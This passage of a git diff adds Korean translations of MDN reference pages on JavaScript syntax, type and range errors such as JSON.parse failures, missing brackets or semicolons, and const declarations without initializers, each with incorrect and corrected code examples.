+<p>{{jsxref("JSON.parse()")}} 는 문자열을 JSON으로 파싱한다. 이 문자열은 유효한 JSON 형태의 문자열이어야 하며, 유효하지 않을 경우 에러가 발생한다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="JSON.parse()_는_여분의_콤마를_허용하지_않는다."><code>JSON.parse()</code> 는 여분의 콤마를 허용하지 않는다.</h3>
+
+<p>다음 두 줄은 SyntaxError를 발생시킨다:</p>
+
+<pre class="brush: js example-bad">JSON.parse('[1, 2, 3, 4,]');
+JSON.parse('{"foo": 1,}');
+// SyntaxError JSON.parse: unexpected character
+// at line 1 column 14 of the JSON data
+</pre>
+
+<p>끝에 오는 콤마를 제거하면 정확하게 JSON으로 파싱한다:</p>
+
+<pre class="brush: js example-good">JSON.parse('[1, 2, 3, 4]');
+JSON.parse('{"foo": 1}');</pre>
+
+<h3 id="프로퍼티_이름은_반드시_쌍따옴표로_표현해야_한다.">프로퍼티 이름은 반드시 쌍따옴표로 표현해야 한다.</h3>
+
+<p>'foo'처럼 프로퍼티를 작은 따옴표로 감싸서는 안된다.</p>
+
+<pre class="brush: js example-bad">JSON.parse("{'foo': 1}");
+// SyntaxError: JSON.parse: expected property name or '}'
+// at line 1 column 2 of the JSON data</pre>
+
+<p>대신에 "foo" 처럼 써야 한다:</p>
+
+<pre class="brush: js example-good">JSON.parse('{"foo": 1}');</pre>
+
+<h3 id="리딩_제로와_십진_소수점">리딩 제로와 십진 소수점</h3>
+
+<p>01 처럼 리딩제로를 사용할 수 없고, 십진 소수점 뒤에는 최소한 하나의 숫자는 등장해야 한다.</p>
+
+<pre class="brush: js example-bad">JSON.parse('{"foo": 01}');
+// SyntaxError: JSON.parse: expected ',' or '}' after property value
+// in object at line 1 column 2 of the JSON data
+
+JSON.parse('{"foo": 1.}');
+// SyntaxError: JSON.parse: unterminated fractional number
+// at line 1 column 2 of the JSON data
+</pre>
+
+<p>대신에 리딩제로를 없애고 1 이라고 쓰고, 십진 소수점 뒤에는 반드시 하나 이상의 숫자를 적도록 한다:</p>
+
+<pre class="brush: js example-good">JSON.parse('{"foo": 1}');
+JSON.parse('{"foo": 1.0}');
+</pre>
+
+<h2 id="또다른_내용">또다른 내용</h2>
+
+<ul>
+ <li>{{jsxref("JSON")}}</li>
+ <li>{{jsxref("JSON.parse()")}}</li>
+ <li>{{jsxref("JSON.stringify()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/ko/web/javascript/reference/errors/malformed_formal_parameter/index.html
new file mode 100644
index 0000000000..e258ba49e6
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/malformed_formal_parameter/index.html
@@ -0,0 +1,57 @@
+---
+title: 'SyntaxError: Malformed formal parameter'
+slug: Web/JavaScript/Reference/Errors/Malformed_formal_parameter
+translation_of: Web/JavaScript/Reference/Errors/Malformed_formal_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: malformed formal parameter (Firefox)
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못_되었을까요">무엇이 잘못 되었을까요?</h2>
+
+<p>코드에는 최소한 두 개의 인수가 전달 된 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code> 생성자가 있습니다. 마지막 인수는 작성중인 새 함수의 소스코드 입니다.  나머지는 모두 새 함수의 인수 목록을 구성합니다.</p>
+
+<p>인수 목록이 어딘가 잘못되었습니다. 아마도 실수로 인수 이름으로 if 또는 var와 같은 키워드를 선택했거나 인수 목록에 갈곳 잃은 구두점이 있을 수 있습니다. 또는 실수로 숫자나 개체와 같은 잘못된 값을 전달한 것일 수 있습니다.</p>
+
+<h2 id="그래_내_문제가_해결됐어._근데_왜_말_안해줬어">그래, 내 문제가 해결됐어. 근데 왜 말 안해줬어?</h2>
+
+<p>틀림 없이 오류 메세지의 표현은 다소 이상한 부분이 있습니다. "공식 매개 변수"는 "함수 인수"를 말하는 좋은 방법입니다. 우리는 "잘못된 형식의 단어를 사용했다"라고 표현 합니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Invalid_cases">Invalid cases</h3>
+
+<pre class="brush: js example-bad">var f = Function('x y', 'return x + y;');
+// SyntaxError (missing a comma)
+
+var f = Function('x,', 'return x;');
+// SyntaxError (extraneous comma)
+
+var f = Function(37, "alert('OK')");
+// SyntaxError (numbers can't be argument names)
+</pre>
+
+<h3 id="Valid_cases">Valid cases</h3>
+
+<pre class="brush: js example-good">var f = Function('x, y', 'return x + y;');  // correctly punctuated
+
+var f = Function('x', 'return x;');
+
+// if you can, avoid using Function - this is much faster
+var f = function(x) { return x; };
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">About functions</a></li>
+ <li><a href="https://www.gutenberg.org/ebooks/84"><em>Frankenstein</em> by Mary Wollstonecraft Shelley, full e-text</a> ("Cursed (although I curse myself) be the hands that formed you! You have made me wretched beyond expression. You have left me no power to consider whether I am just to you or not. Begone! Relieve me from the sight of your detested form.")</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_bracket_after_list/index.html b/files/ko/web/javascript/reference/errors/missing_bracket_after_list/index.html
new file mode 100644
index 0000000000..b9149ac159
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_bracket_after_list/index.html
@@ -0,0 +1,56 @@
+---
+title: 'SyntaxError: missing ] after element list'
+slug: Web/JavaScript/Reference/Errors/Missing_bracket_after_list
+tags:
+  - 구문 에러
+  - 배열 초기자
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ] after element list
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>배열 초기자 구문에 오류가 있습니다. 닫는 대괄호("<code>]</code>") 또는 콤마("<code>,</code>")가 빠진 것 같습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="완성되지_않은_배열_초기자">완성되지 않은 배열 초기자</h3>
+
+<pre class="brush: js example-bad">var list = [1, 2,
+
+var instruments = [
+  'Ukulele',
+  'Guitar',
+  'Piano'
+};
+
+var data = [{foo: 'bar'} {bar: 'foo'}];
+</pre>
+
+<p>바르게 고치면:</p>
+
+<pre class="brush: js example-good">var list = [1, 2];
+
+var instruments = [
+ 'Ukulele',
+ 'Guitar',
+ 'Piano'
+];
+
+var data = [{foo: 'bar'}, {bar: 'foo'}];</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/ko/web/javascript/reference/errors/missing_colon_after_property_id/index.html
new file mode 100644
index 0000000000..4fe7865664
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_colon_after_property_id/index.html
@@ -0,0 +1,78 @@
+---
+title: 'SyntaxError: missing : after property id'
+slug: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id
+tags:
+  - 객체 초기자
+  - 계산된 속성
+  - 구문 에러
+  - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected ':' (Edge)
+SyntaxError: missing : after property id (Firefox)
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_문제일까">무엇이 문제일까?</h2>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체 초기자</a> 구문으로 객체를 만들 때 콜론(<code>:</code>)은 객체의 속성을 키와 값으로 분리합니다.</p>
+
+<pre class="brush: js">var obj = { propertyKey: 'value' };
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="콜론_vs._등호">콜론 vs. 등호</h3>
+
+<p>객체 초기자 구문에는 등호를 사용할 수 없으므로 아래 예제는 실패합니다.</p>
+
+<pre class="brush: js example-bad">var obj = { propertyKey = 'value' };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>콜론을 사용하거나 객체를 생성한 뒤에 대괄호를 사용하여 새로운 속성을 할당하는 것이 바릅니다.</p>
+
+<pre class="brush: js example-good">var obj = { propertyKey: 'value' };
+
+// 또는
+
+var obj = { };
+obj['propertyKey'] = 'value';
+</pre>
+
+<h3 id="빈_속성">빈 속성</h3>
+
+<p>아래와 같이 빈 속성을 만들 수 없습니다:</p>
+
+<pre class="brush: js example-bad">var obj = { propertyKey; };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>만약 값 없이 속성을 정의해야 한다면 값으로 {{jsxref("null")}}을 지정할 수 있습니다.</p>
+
+<pre class="brush: js example-good">var obj = { propertyKey: null };</pre>
+
+<h3 id="계산된_속성">계산된 속성</h3>
+
+<p>식으로 속성의 키를 만드는 경우 대괄호를 사용해야 합니다. 그렇지 않으면 속성 이름에 계산된 값을 사용할 수 없습니다:</p>
+
+<pre class="brush: js example-bad">var obj = { 'b'+'ar': 'foo' };
+// SyntaxError: missing : after property id
+</pre>
+
+<p>식에 대괄호를 넣으세요 <code>[]</code>:</p>
+
+<pre class="brush: js example-good">var obj = { ['b'+'ar']: 'foo' };</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체 초기자</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_curly_after_property_list/index.html b/files/ko/web/javascript/reference/errors/missing_curly_after_property_list/index.html
new file mode 100644
index 0000000000..8e0abf94db
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_curly_after_property_list/index.html
@@ -0,0 +1,47 @@
+---
+title: 'SyntaxError: missing } after property list'
+slug: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_property_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing } after property list
+</pre>
+
+<h2 id="에러_유형">에러 유형</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못_된_걸까">무엇이 잘못 된 걸까?</h2>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">객체를 초기화 하는 부분</a> 어딘가에 구문에 실수가 있습니다. 실제로 빠진 중괄호 일 수도 있지만, 누락 된 쉼표 일 수도 있습니다. 또한 닫는 중괄호나 괄호가 올바른 순서인지 확인하세요. 코드를 들여쓰기하거나 서식을 지정하면 좀 더 보기 쉽습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="쉼표를_까먹은_경우">쉼표를 까먹은 경우</h3>
+
+<p>종종 객체 초기화 과정에서 쉼표를 빠트리는 경우가 있습니다:</p>
+
+<pre class="brush: js example-bad">var obj = {
+  a: 1,
+  b: { myProp: 2 }
+  c: 3
+};
+</pre>
+
+<p>올바른 예시는 다음과 같습니다:</p>
+
+<pre class="brush: js example-good">var obj = {
+  a: 1,
+  b: { myProp: 2 },
+  c: 3
+};
+</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_initializer_in_const/index.html b/files/ko/web/javascript/reference/errors/missing_initializer_in_const/index.html
new file mode 100644
index 0000000000..be116cf3a4
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_initializer_in_const/index.html
@@ -0,0 +1,55 @@
+---
+title: 'SyntaxError: missing = in const declaration'
+slug: Web/JavaScript/Reference/Errors/Missing_initializer_in_const
+translation_of: Web/JavaScript/Reference/Errors/Missing_initializer_in_const
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: Const must be initalized (Edge)
+SyntaxError: missing = in const declaration (Firefox)
+SyntaxError: Missing initializer in const declaration (Chrome)
+</pre>
+
+<h2 id="에러_유형">에러 유형</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었나요">무엇이 잘못되었나요?</h2>
+
+<p>상수는 일반적인 실행 중에 프로그램에 의해 변경될 수 없는 값입니다. 상수는 재할당되거나 재선언될 수 없습니다. 자바스크립트에서 상수는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> 키워드를 사용해 선언됩니다. 상수는 이니셜라이저가 필요합니다. 다시말해, 한 문장 안에 선언과 동시에 초기화가 이루어져야 합니다 (따라서 추후 수정 불가).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="const_이니셜라이저가_빠진_경우">const 이니셜라이저가 빠진 경우</h3>
+
+<p><code>var</code> 또는 <code>let</code>과 달리, <code>const</code> 선언에서는 반드시 값을 정의해야 합니다.</p>
+
+<pre class="brush: js example-bad">const COLUMNS;
+// SyntaxError: missing = in const declaration</pre>
+
+<h3 id="에러_수정">에러 수정</h3>
+
+<p>해당 에러를 수정하기 위해서 여러가지 방법이 존재합니다. 문제 상황에서 상수를 사용해 무엇을 하려 했는지 확인해보세요.</p>
+
+<h4 id="상수_값_추가">상수 값 추가</h4>
+
+<p>선언과 같은 문장에 상수 값을 정의합니다.</p>
+
+<pre class="brush: js example-good">const COLUMNS = 80;</pre>
+
+<h4 id="const_let_var"><code>const</code>, <code>let</code>, <code>var</code>?</h4>
+
+<p>상수를 선언할 목적이 아니었다면 <code>const</code>를 사용하지 마세요. <code>let</code> 키워드를 이용한 블록범위 변수, 또는 <code>var</code> 키워드를 이용한 전역 변수를 사용할 수 있습니다. 두 가지 경우 모두 초기값을 요구하지 않습니다.</p>
+
+<pre class="brush: js example-good">let columns;
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_name_after_dot_operator/index.html b/files/ko/web/javascript/reference/errors/missing_name_after_dot_operator/index.html
new file mode 100644
index 0000000000..a549e48e51
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_name_after_dot_operator/index.html
@@ -0,0 +1,63 @@
+---
+title: 'SyntaxError: missing name after . operator'
+slug: Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator
+translation_of: Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing name after . operator
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘_못_되었을까">무엇이 잘 못 되었을까?</h2>
+
+<p>점 연산자 (<code>.</code>)는 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">프로퍼티 접근</a>을 위해 사용합니다. 접근해야 하는 프로퍼티 명은 제대로 명시 해야 합니다. 연산 프로퍼티에 접근하려면, 점 연산자를 사용하지 않고 대괄호를 사용하는 것으로 프로퍼티 접근 방식을 바꿔야 합니다. 이런 방식들이 표현식의 계산을 수행시켜줄 것입니다. 아마 당신은 연결을 하려고 했을 것입니다. 이 경우에는 더하기 연산자(<code>+</code>)가 필요합니다. 아래의 예제를 봐주세요. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="프로퍼티_접근">프로퍼티 접근</h3>
+
+<p>JavaScript <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">프로퍼티 접근자</a>는 점(.) 또는 대괄호(<code>[]</code>) 중 하나만 사용한다. 대괄호는 연산 프로퍼티에 접근을 허용합니다.   </p>
+
+<pre class="brush: js example-bad">var obj = { foo: { bar: "baz", bar2: "baz2" } };
+var i = 2;
+
+obj.[foo].[bar]
+// SyntaxError: missing name after . operator
+
+obj.foo."bar"+i;
+// SyntaxError: missing name after . operator
+</pre>
+
+<p>이 코드를 고치려면, 오브젝트에 이런 식으로 접근해야 합니다.:</p>
+
+<pre class="brush: js example-good">obj.foo.bar; // "baz"
+// 또는 대신에
+obj["foo"]["bar"]; // "baz"
+
+// 연산 프로퍼티는 대괄호가 필요합니다.
+obj.foo["bar" + i]; // "baz2"
+</pre>
+
+<h3 id="프로퍼티_접근_vs._연결">프로퍼티 접근 vs. 연결</h3>
+
+<p>다른 프로그램 언어를 사용하다 왔다면 ( {{Glossary("PHP")}} 같은), 점 연산자(<code>.</code>)와 연결 연산자(<code>+</code>)를 혼동해서 쓰기가 더 쉬울 것입니다.</p>
+
+<pre class="brush: js example-bad">console.log("Hello" . "world");
+
+// SyntaxError: missing name after . operator</pre>
+
+<p>대신에 결합을 위해서는 더하기 표식을 사용해야 합니다.:</p>
+
+<pre class="brush: js example-good">console.log("Hello" + "World");</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Property accessors</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/ko/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
new file mode 100644
index 0000000000..1f28ac1104
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
@@ -0,0 +1,38 @@
+---
+title: 'SyntaxError: missing ) after argument list'
+slug: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ) after argument list
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>function을 호출하는 방식에 에러가 있는 것입니다. 맞춤법, 연산자 누락 또는 이스케이프 처리를 하지 않는 문자열과 같은 것으로 발생될 수 있습니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>문자열을 합치는 "+" 연산자가 없기 때문에, Javascript는 <code>log</code> function에 대한 인수를 <code>"PI: "</code>로 인식을 합니다. 이 경우, 닫침 괄호가 누락된 것으로 인식을 합니다.</p>
+
+<pre class="brush: js example-bad">console.log('PI: ' Math.PI);
+// SyntaxError: missing ) after argument list
+</pre>
+
+<p>You can correct the <code>log</code> call by adding the "<code>+</code>" operator:</p>
+
+<pre class="brush: js example-good">console.log('PI: ' + Math.PI);
+// "PI: 3.141592653589793"</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html b/files/ko/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html
new file mode 100644
index 0000000000..cd7b368aa4
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_parenthesis_after_condition/index.html
@@ -0,0 +1,65 @@
+---
+title: 'SyntaxError: missing ) after condition'
+slug: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition
+translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ) after condition
+</pre>
+
+<h2 id="에러_유형">에러 유형</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못_된_걸까">무엇이 잘못 된 걸까?</h2>
+
+<p><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if</a></code>조건문에 에러가 있습니다. 어떠한 프로그래밍 언어에서든 코드는 입력값에 따라 의사를 결정하고 행동을 수행해야합니다. 지정된 조건이 true이면 if 문이 명령문을 실행합니다. 자바스크립트에서는 이 조건이 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if</a></code>문 다음의 괄호에 있어야 합니다. 다음은 그 예시입니다.</p>
+
+<pre class="brush: js">if (condition) {
+  // do something if the condition is true
+}</pre>
+
+<h2 id="예시">예시</h2>
+
+<p>실수가 있을 수 있으니, 모든 괄호를 주의깊게 확인하세요.</p>
+
+<pre class="brush: js example-bad">if (3 &gt; Math.PI {
+  console.log("wait what?");
+}
+
+// SyntaxError: missing ) after condition
+</pre>
+
+<p>이 코드를 고치기 위해선, 조건문을 괄호로 닫아야 합니다.</p>
+
+<pre class="brush: js example-good">if (3 &gt; Math.PI) {
+  console.log("wait what?");
+}</pre>
+
+<p>다른 프로그래밍 언어를 배운 경우, 자바스크립트에서는 다르게 쓰이거나, 쓰이지 않는 키워드를 사용하기 쉽습니다.</p>
+
+<pre class="brush: js example-bad">if (done is true) {
+ console.log("we are done!");
+}
+
+// SyntaxError: missing ) after condition
+</pre>
+
+<p>이 경우 올바른 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">비교연산자</a>를 사용해야 합니다. 그 예시로:</p>
+
+<pre class="brush: js example-good">if (done === true) {
+ console.log("we are done!");
+}</pre>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if...else</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Comparison operators</a></li>
+ <li>
+  <p><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/missing_semicolon_before_statement/index.html b/files/ko/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
new file mode 100644
index 0000000000..ec3334b52f
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
@@ -0,0 +1,63 @@
+---
+title: 'SyntaxError: missing ; before statement'
+slug: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: missing ; before statement
+</pre>
+
+<h2 id="오류_타입">오류 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="무엇이_잘_못_되었나">무엇이 잘 못 되었나?</h2>
+
+<p>어딘가에 세미 콜론(<code>;</code>)이 빠져 있습니다.  <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript 구문</a>은 반드시 세미 콜론으로 끝나야 합니다. 일부는 자동 세미콜론 삽입 (<a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">automatic semicolon insertion (ASI)</a>)의 영향을 받습니다. 그러나 이 경우에는 직접 세미 콜론을 써주어야 합니다. 그래야 JavaScript가 올바르게 해석 될 수 있기 때문입니다.</p>
+
+<p>그러나, 가끔, 이 오류는 또 다른 오류의 결과로도 나타날 수도 있습니다. 문자열을 escape 문자로 적절히 처리해 주지 않았을 때, 또는 <code>var</code> 키워드를 잘 못 사용했을 때와 같은 경우 입니다. 또한 어딘가에 너무 많은 괄호 기호를 사용했을 것입니다. 이 오류가 발생했을 때에는 문법을 신중히 검토해야 합니다. </p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Escape_처리되지_않은_문자열">Escape 처리되지 않은 문자열</h3>
+
+<p>이 오류는 문자열을 escape 처리 하지 않았을 때, JavaScript 엔진이 문자열 끝을 미리 예측하여 발생합니다. 예를 들자면 아래와 같습니다. :</p>
+
+<pre class="brush: js example-bad">var foo = 'Tom's bar';
+// SyntaxError: missing ; before statement</pre>
+
+<p>문자열을 묶어줄 때 쌍 따옴표를 사용하거나, 역슬래시를 이용해서 홑따옴표를 사용 할 수 있습니다. :</p>
+
+<pre class="brush: js example-good">var foo = "Tom's bar";
+var foo = 'Tom\'s bar';
+</pre>
+
+<h3 id="var와_함께_선언하는_것">var와 함께 선언하는 것</h3>
+
+<p>이미 <code>var</code> 선언된 object나 array의 요소를 새로 선언 할 수 없습니다.</p>
+
+<pre class="brush: js example-bad">var obj = {};
+var obj.foo = 'hi'; // SyntaxError missing ; before statement
+
+var array = [];
+var array[0] = 'there'; // SyntaxError missing ; before statement
+</pre>
+
+<p>대신에, <code>var</code>  키워드를 생략하고 정의합니다. :</p>
+
+<pre class="brush: js example-good">var obj = {};
+obj.foo = 'hi';
+
+var array = [];
+array[0] = 'there';
+</pre>
+
+<h2 id="참조_문서">참조 문서</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">Automatic semicolon insertion (ASI)</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/more_arguments_needed/index.html b/files/ko/web/javascript/reference/errors/more_arguments_needed/index.html
new file mode 100644
index 0000000000..41137d2f63
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/more_arguments_needed/index.html
@@ -0,0 +1,45 @@
+---
+title: 'TypeError: More arguments needed'
+slug: Web/JavaScript/Reference/Errors/More_arguments_needed
+translation_of: Web/JavaScript/Reference/Errors/More_arguments_needed
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">TypeError: argument is not an Object and is not null (Edge)
+TypeError: Object.create requires at least 1 argument, but only 0 were passed
+TypeError: Object.setPrototypeOf requires at least 2 arguments, but only 0 were passed
+TypeError: Object.defineProperties requires at least 1 argument, but only 0 were passed
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="무엇이_잘_못_되었을까">무엇이 잘 못 되었을까?</h2>
+
+<p>함수 호출 시 에러가 있습니다. 더 많은 인수가 주어져야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>{{jsxref("Object.create()")}} 메서드는 적어도 1개의 인자가 필요하며, {{jsxref("Object.setPrototypeOf()")}} 메서드는 적어도 2개의 인자가 필요합니다.:</p>
+
+<pre class="brush: js example-bad">var obj = Object.create();
+// TypeError: Object.create requires at least 1 argument, but only 0 were passed
+
+var obj = Object.setPrototypeOf({});
+// TypeError: Object.setPrototypeOf requires at least 2 arguments, but only 1 were passed
+</pre>
+
+<p>예를 들면, 이렇게 프로토 타입으로  {{jsxref("null")}}를 세팅해서 고칠 수 있습니다.:</p>
+
+<pre class="brush: js example-good">var obj = Object.create(null);
+
+var obj = Object.setPrototypeOf({}, null);</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Functions</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/negative_repetition_count/index.html b/files/ko/web/javascript/reference/errors/negative_repetition_count/index.html
new file mode 100644
index 0000000000..b2437c9ad8
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/negative_repetition_count/index.html
@@ -0,0 +1,40 @@
+---
+title: 'RangeError: repeat count must be non-negative'
+slug: Web/JavaScript/Reference/Errors/Negative_repetition_count
+translation_of: Web/JavaScript/Reference/Errors/Negative_repetition_count
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">RangeError: repeat count must be non-negative (Firefox)
+RangeError: Invalid count value (Chrome)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>{{jsxref("String.prototype.repeat()")}} 메소드가 사용되었습니다. 이 메소드는 문자열이 반복되는 수를 예측하는 카운트 파라메터를 가지고 있었습니다. 이 파라메터는 0보다 크고, 양의 {{jsxref("Infinity")}} 보다는 작으며, 음수는 될수 없습니다. 이 범위는 이렇게 표현 될 수 있습니다. : [0, +∞)</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<pre class="brush: js example-bad">'abc'.repeat(-1); // RangeError </pre>
+
+<h3 id="허용되는_경우">허용되는 경우</h3>
+
+<pre class="brush: js example-good">'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (수는 정수로 변환될 것입니다.)
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.repeat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/no_variable_name/index.html b/files/ko/web/javascript/reference/errors/no_variable_name/index.html
new file mode 100644
